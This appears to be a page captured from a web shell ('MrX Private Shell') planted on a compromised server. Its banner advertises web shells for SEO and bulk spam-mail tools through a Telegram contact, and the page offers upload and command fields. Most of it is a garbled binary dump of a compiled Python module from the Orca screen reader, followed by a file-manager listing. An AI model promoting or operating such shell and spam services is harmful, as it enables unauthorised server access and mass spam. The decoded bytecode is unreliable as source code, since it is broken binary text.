__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g�"���SrSSKJr SrSrSrSrSrSSKrSS	K	J
r
JrJrJ
r
 SSKr\R"S
S5 \R"SS5 SS
KJrJrJr SSKJr SSKJr SSKJr SSKJr SSKJr SSKJr SSKJr SSKJr SSKJr \
(aSSK J!r! "SS5r""SS\RF5r$\""5r%SSjr&g)z3Module for performing accessible actions via a menu�)�annotationsz$Id$z
$Revision$z$Date$zCopyright (c) 2023 Igalia, S.L.�LGPLN)�Any�Callable�Optional�
TYPE_CHECKING�Gdkz3.0�Gtk)r	�GLibr
�)�cmdnames)�debug)�
focus_manager)�input_event)�keybindings)�messages)�script_manager)�AXObject)�AXUtilities)�defaultc��\rSrSrSrSrS
SSjjrSSSjjrSSjrSSjr	SSjr
SS	jrSSSjjrSr
g
)�ActionPresenter�8z=Provides menu for performing accessible actions on an object.c��URS5Ul[R"5UlSUlSUlSUlg)NT)�get_handlers�	_handlersr�KeyBindings�	_bindings�_gui�_obj�_window)�selfs �7/usr/lib/python3/dist-packages/orca/action_presenter.py�__init__�ActionPresenter.__init__;s9���*�*�4�0���$�0�0�2�����	���	����c��U(aGSU3n[R"[RUS5 UR5 UR$URR5(aUR5 UR$)z)Returns the action-presenter keybindings.z3ACTION PRESENTER: Refreshing bindings. Is desktop: T)r�
print_message�
LEVEL_INFO�_setup_bindingsr�is_empty)r"�refresh�
is_desktop�msgs    r#�get_bindings�ActionPresenter.get_bindingsBsn��
�G�
�|�T�C����� 0� 0�#�t�<�� � �"��~�~���^�^�
$�
$�
&�
&�� � �"��~�~�r&c��U(a8Sn[R"[RUS5 UR5 UR$)z&Returns the action-presenter handlers.z&ACTION PRESENTER: Refreshing handlers.T)rr(r)�_setup_handlersr)r"r,r.s   r#r�ActionPresenter.get_handlersPs:���:�C����� 0� 0�#�t�<�� � �"��~�~�r&c���0Ul[R"UR[R
5URS'Sn[R"[RUS5 g)z2Sets up the action-presenter input event handlers.�show_actions_menuz"ACTION PRESENTER: Handlers set up.TN)	rr�InputEventHandlerr5r
�SHOW_ACTIONS_MENUrr(r)�r"r.s  r#r2�ActionPresenter._setup_handlersZs[�����
�)�)��&�&��*�*�
,�	
���*�+�
3��
���E�,�,�c�4�8r&c	�>�[R"5UlURR[R"S[R
[RURS55 Sn[R"[RUS5 g)z*Sets up the action-presenter key bindings.�ar5z"ACTION PRESENTER: Bindings set up.TN)rrr�add�
KeyBinding�DEFAULT_MODIFIER_MASK�ORCA_SHIFT_MODIFIER_MASKrrr(r)r8s  r#r*�ActionPresenter._setup_bindingsgsu��%�0�0�2���������"�"���1�1��4�4����2�3�	
5�	6�3��
���E�,�,�c�4�8r&c�&�SURSUR/n[R"[RUS5 Sn[
R"UR5n[R"5RX0R5n[R"5RXB5 [R"5nURU5 URUR5 URSUR5 g)z>Restores focus to the object associated with the actions menu.z$ACTION PRESENTER: Restoring focus to�inTz(Action Presenter menu is being destroyedN)r r!r�print_tokensr)r�get_applicationr�get_manager�
get_script�set_active_scriptr�clear_state�set_active_window�set_locus_of_focus)r"�tokens�reason�app�script�managers      r#�_restore_focus�ActionPresenter._restore_focusvs���9�$�)�)�T�4�<�<�X��
���5�+�+�V�T�:�<���)�)�$�)�)�4���+�+�-�8�8��i�i�H���"�"�$�6�6�v�F��+�+�-�����F�#��!�!�$�,�,�/��"�"�4����3r&c���[R"URU5nSUSURSU/n[R"[R
US5 SUlg)z%Attempts to perform the named action.zACTION PRESENTER: Performing�onz
succeeded:TN)r�do_named_actionr rrCr)r)r"�action�resultrKs    r#�_perform_action�ActionPresenter._perform_action�sP���)�)�$�)�)�V�<��0�&�$��	�	�<�Y_�`��
���5�+�+�V�T�:���	r&Nc�*�[R"5nUR5S=(d UR5nUc2[R
n[RnURXV5 g0n[[R"U55Hrn[R"XH5n	[R"XH5n
SUS3USU	SU
S3/n[R"[RUS5 U
=(d U	Xy'Mt UR!5(d[[R""U5=(d UR$R'U5n	UR[R(U	-5 gX@lUR-5Ul[1XpR2UR45UlSnS	US
3n
[R8"[RU
S5 [:R<"X�R6R>5 g)z7Shows a menu with all the available accessible actions.rTzACTION PRESENTER: Action z onz: 'z' localized description: '�'i�z!ACTION PRESENTER: Delaying popup z ms due to GtkMenu grab conflict.) rrE�&get_active_mode_and_object_of_interest�get_locus_of_focusr�LOCATION_NOT_FOUND_FULL�LOCATION_NOT_FOUND_BRIEF�presentMessage�ranger�
get_n_actions�get_action_name�get_action_descriptionrrCr)�items�get_name�speech_generator�get_localized_role_name�NO_ACTIONS_FOUND_ONr �get_active_windowr!�
ActionMenurWrPrr(r�timeout_add�show_gui)r"rN�_eventrO�obj�full�brief�actions�i�name�descriptionrK�timeoutr.s              r#r5�!ActionPresenter.show_actions_menu�s���
 �+�+�-���<�<�>�q�A�a�W�E_�E_�Ea���;��3�3�D��5�5�E��!�!�$�.�����x�-�-�c�2�3�A��+�+�C�3�D�"�9�9�#�A�K�1�!��C�8�#��D�6�!;�K�=��J�L�F����u�/�/���>�'�/�4�G�M�
4��}�}����$�$�S�)�a�V�-D�-D�-\�-\�]`�-a�D��!�!�(�">�">��"E�F���	��0�0�2����w�(<�(<�d�>Q�>Q�R��	���1�'��:Z�[��
���E�,�,�c�4�8�����)�)�"4�"4�5�r&)rrrr r!)FT)r,�boolr-rw�returnzkeybindings.KeyBindings)F)r,rwrxz(dict[str, input_event.InputEventHandler]�rx�None)rU�strrxrz)N)rNzdefault.Scriptrmz Optional[input_event.InputEvent]rxrw)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r$r/rr2r*rPrWr5�__static_attributes__�r&r#rr8sq��G��&+�(,��"��!%��1H���9�
9�4�"�RV�"�$�"�.N�"�	
�"�"r&rc�h^�\rSrSrSrS	U4SjjrS
SjrSSjrSSjrSSjr	Sr
U=r$)
rj�z:A simple Gtk.Menu containing a list of accessible actions.c�`>�[TU]5 URSUR5 URSUR5 X lX0lUR5HGupE[R"US9nURSURU5 URU5 MI g)Nz	popped-up�hide)�label�activate)�superr$�connect�
_on_popped_up�
_on_hidden�on_option_selected�on_menu_hiddenrdr
�MenuItem�_on_activate�append)r"rq�action_handler�cleanup_handlerrsrt�	menu_item�	__class__s       �r#r$�ActionMenu.__init__�s����	�������[�$�"4�"4�5����V�T�_�_�-�"0��-��!(�����D����;�7�I����j�$�*;�*;�T�B��K�K�	�"�"1r&c�&�URU5 g)z*Handler for the 'activate' menuitem signalN)r�)r"�_widget�options   r#r��ActionMenu._on_activate�s��	
����'r&c�T�Sn[R"[RUS5 g)z'Handler for the 'popped-up' menu signalz&ACTION PRESENTER: ActionMenu popped upTN)rr(r)�r"�_argsr.s   r#r��ActionMenu._on_popped_up�s!��7��
���E�,�,�c�4�8r&c�t�Sn[R"[RUS5 UR5 g)z"Handler for the 'hide' menu signalz#ACTION PRESENTER: ActionMenu hiddenTN)rr(r)r�r�s   r#r��ActionMenu._on_hidden�s-��4��
���E�,�,�c�4�8����r&c���UR5 [RR5nUR	5nUR5nUR
5upEn[RR[RR5nURU5 URU5 [R"5Ul
XWlXgl[R "5nXXlXhlSUlSUl[R&"5n	UR)X�[R*R,[R*R,U5 g)zShows the menurN)�show_allr	�Display�get_default�get_default_seat�get_pointer�get_position�Event�new�	EventType�BUTTON_PRESS�
set_screen�
set_device�time�x�y�	Rectangle�width�height�get_default_root_window�
popup_at_rect�Gravity�
NORTH_WEST)
r"�display�seat�device�screenr�r��event�rect�windows
          r#rl�ActionMenu.show_gui�s���	
�
�
���+�+�)�)�+���'�'�)���!�!�#���*�*�,���1��	�	�
�
�c�m�m�8�8�9��
���� �
���� ��Y�Y�[��
������}�}���������
�����,�,�.�����6����)?�)?����AW�AW�Y^�_r&)r�r�)rqzdict[str, str]r�zCallable[[str], None]r�zCallable[[], None]rxrz)r�z
Gtk.Widgetr�r{rxrz)r�ztuple[Any, ...]rxrzry)r|r}r~rr�r$r�r�r�rlr��
__classcell__)r�s@r#rjrj�sL���D�#��#�.�#�,�	#�

�#� (�
9��`�`r&rjc��[$)zReturns the action presenter.)�
_presenterr�r&r#�
get_presenterr��s
���r&)rxr)'r��
__future__r�__id__�__version__�__date__�
__copyright__�__license__r��typingrrrr�gi�require_version�
gi.repositoryr	rr
�r
rrrrrr�	ax_objectr�ax_utilitiesr�scriptsrr�Menurjr�r�r�r&r#�<module>r�s���.:�#�������1�
����9�9�	����5�%� ����5�%� �(�(���������%�� �y�y�x?`����?`�D�
�
�r&

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 276 B 0644
acss.cpython-313.pyc File 4.37 KB 0644
action_presenter.cpython-313.pyc File 12.53 KB 0644
ax_collection.cpython-313.pyc File 6.06 KB 0644
ax_component.cpython-313.pyc File 22.4 KB 0644
ax_document.cpython-313.pyc File 13.2 KB 0644
ax_event_synthesizer.cpython-313.pyc File 22.37 KB 0644
ax_hypertext.cpython-313.pyc File 11.3 KB 0644
ax_object.cpython-313.pyc File 63.85 KB 0644
ax_selection.cpython-313.pyc File 5.26 KB 0644
ax_table.cpython-313.pyc File 62.75 KB 0644
ax_text.cpython-313.pyc File 58.92 KB 0644
ax_utilities.cpython-313.pyc File 37.16 KB 0644
ax_utilities_application.cpython-313.pyc File 9.14 KB 0644
ax_utilities_collection.cpython-313.pyc File 125.47 KB 0644
ax_utilities_debugging.cpython-313.pyc File 15.44 KB 0644
ax_utilities_event.cpython-313.pyc File 41.86 KB 0644
ax_utilities_relation.cpython-313.pyc File 21.3 KB 0644
ax_utilities_role.cpython-313.pyc File 139.59 KB 0644
ax_utilities_state.cpython-313.pyc File 19.65 KB 0644
ax_value.cpython-313.pyc File 8.8 KB 0644
bookmarks.cpython-313.pyc File 16.09 KB 0644
braille.cpython-313.pyc File 82.01 KB 0644
braille_generator.cpython-313.pyc File 71.06 KB 0644
braille_rolenames.cpython-313.pyc File 8.73 KB 0644
brlmon.cpython-313.pyc File 9.02 KB 0644
brltablenames.cpython-313.pyc File 2.46 KB 0644
bypass_mode_manager.cpython-313.pyc File 5.79 KB 0644
caret_navigation.cpython-313.pyc File 22.86 KB 0644
chat.cpython-313.pyc File 33.96 KB 0644
clipboard.cpython-313.pyc File 27.81 KB 0644
cmdnames.cpython-313.pyc File 18.85 KB 0644
colornames.cpython-313.pyc File 11.83 KB 0644
debug.cpython-313.pyc File 4.76 KB 0644
debugging_tools_manager.cpython-313.pyc File 13.8 KB 0644
event_manager.cpython-313.pyc File 43.89 KB 0644
flat_review.cpython-313.pyc File 59.1 KB 0644
flat_review_finder.cpython-313.pyc File 29.77 KB 0644
flat_review_presenter.cpython-313.pyc File 59.01 KB 0644
focus_manager.cpython-313.pyc File 14.24 KB 0644
generator.cpython-313.pyc File 95.62 KB 0644
guilabels.cpython-313.pyc File 12.43 KB 0644
highlighter.cpython-313.pyc File 9.86 KB 0644
input_event.cpython-313.pyc File 45.78 KB 0644
input_event_manager.cpython-313.pyc File 48.43 KB 0644
keybindings.cpython-313.pyc File 27.27 KB 0644
keynames.cpython-313.pyc File 4.73 KB 0644
label_inference.cpython-313.pyc File 25.15 KB 0644
learn_mode_presenter.cpython-313.pyc File 19.89 KB 0644
liveregions.cpython-313.pyc File 31.34 KB 0644
mathsymbols.cpython-313.pyc File 64.53 KB 0644
messages.cpython-313.pyc File 41.8 KB 0644
mouse_review.cpython-313.pyc File 33.59 KB 0644
notification_presenter.cpython-313.pyc File 18.47 KB 0644
object_navigator.cpython-313.pyc File 15.8 KB 0644
object_properties.cpython-313.pyc File 8.27 KB 0644
orca.cpython-313.pyc File 13.43 KB 0644
orca_gtkbuilder.cpython-313.pyc File 5.53 KB 0644
orca_gui_navlist.cpython-313.pyc File 10.45 KB 0644
orca_gui_prefs.cpython-313.pyc File 166.31 KB 0644
orca_gui_profile.cpython-313.pyc File 5.69 KB 0644
orca_i18n.cpython-313.pyc File 2.63 KB 0644
orca_modifier_manager.cpython-313.pyc File 17.05 KB 0644
orca_platform.cpython-313.pyc File 661 B 0644
phonnames.cpython-313.pyc File 1.51 KB 0644
pronunciation_dict.cpython-313.pyc File 1.95 KB 0644
script.cpython-313.pyc File 15.33 KB 0644
script_manager.cpython-313.pyc File 18.15 KB 0644
script_utilities.cpython-313.pyc File 87.03 KB 0644
settings.cpython-313.pyc File 6.79 KB 0644
settings_manager.cpython-313.pyc File 35.18 KB 0644
sleep_mode_manager.cpython-313.pyc File 6.67 KB 0644
sound.cpython-313.pyc File 8.71 KB 0644
sound_generator.cpython-313.pyc File 58.4 KB 0644
speech.cpython-313.pyc File 10.75 KB 0644
speech_and_verbosity_manager.cpython-313.pyc File 34.1 KB 0644
speech_generator.cpython-313.pyc File 214.55 KB 0644
speechdispatcherfactory.cpython-313.pyc File 33.52 KB 0644
speechserver.cpython-313.pyc File 10.21 KB 0644
spellcheck.cpython-313.pyc File 24.24 KB 0644
spiel.cpython-313.pyc File 34.68 KB 0644
ssml.cpython-313.pyc File 6.03 KB 0644
structural_navigation.cpython-313.pyc File 93.9 KB 0644
system_information_presenter.cpython-313.pyc File 9.42 KB 0644
table_navigator.cpython-313.pyc File 36.48 KB 0644
text_attribute_names.cpython-313.pyc File 6.01 KB 0644
where_am_i_presenter.cpython-313.pyc File 26.41 KB 0644
Filemanager